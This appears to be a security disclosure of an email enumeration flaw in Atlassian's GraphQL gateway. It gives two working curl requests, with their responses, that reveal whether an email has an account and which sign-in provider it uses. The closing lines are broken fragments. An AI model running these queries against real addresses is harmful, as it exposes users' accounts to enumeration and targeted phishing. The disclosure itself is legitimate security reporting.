
CVE-2026-XXXX: Atlassian GraphQL Email Enumeration Oracle (CWE-204, CVSS 5.3 MEDIUM)
Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)
CWE-204: Observable Response Discrepancy — Email Enumeration Oracle
MEDIUM — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
The loomUnauthenticated_primaryAuthTypeForEmail GraphQL query on Atlassian's central GraphQL gateway returns different responses depending on whether an email address is registered with Atlassian, allowing unauthenticated user enumeration.
Registered email → returns authType (e.g. workos, password, google) and a redirect URI
Unregistered email → returns authType: "none" with no redirect URI
No authentication is required. The query name includes "Unauthenticated" — it's intentionally public, but it shouldn't leak whether an arbitrary email has an Atlassian account.
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
Response:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
Response:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" confirms the email uses WorkOS SSO. authType: "google" or authType: "password" would leak auth method. This enables targeted phishing.
An unauthenticated attacker can:
The loomUnauthenticated_primaryAuthTypeForEmail query performs no rate-limiting and returns auth provider information for any email without authentication. While the endpoint is intentionally unauthenticated (for Loom's signup flow), it leaks whether an email has an account and which auth provider they use.
After thorough testing, these claims were invalidated:
aaid: "unidentified")ValidationError)unidentified)Wh4l3X